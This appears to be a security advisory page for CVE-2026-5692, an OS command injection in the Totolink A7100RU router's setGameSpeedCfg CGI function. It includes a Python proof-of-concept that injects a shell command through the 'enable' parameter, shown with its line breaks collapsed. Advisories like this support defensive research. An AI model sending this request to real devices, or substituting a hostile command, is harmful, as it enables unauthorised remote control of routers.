Security Vulnerability Report
中文
CVE-2026-5692 CVSS 7.3 HIGH

CVE-2026-5692

Published: 2026-04-07 00:16:20
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in Totolink A7100RU 7.4cu.2313_b20191024. This impacts the function setGameSpeedCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument enable results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "<TARGET_IP>" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to ping a benign server to verify execution # The 'enable' parameter is vulnerable in the 'setGameSpeedCfg' function payload = "; ping -c 1 1.1.1.1;#" # Data structure required by the application data = { "topicurl": "setGameSpeedCfg", "enable": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the malicious request response = requests.post(url, headers=headers, data=data, timeout=10) # Output results if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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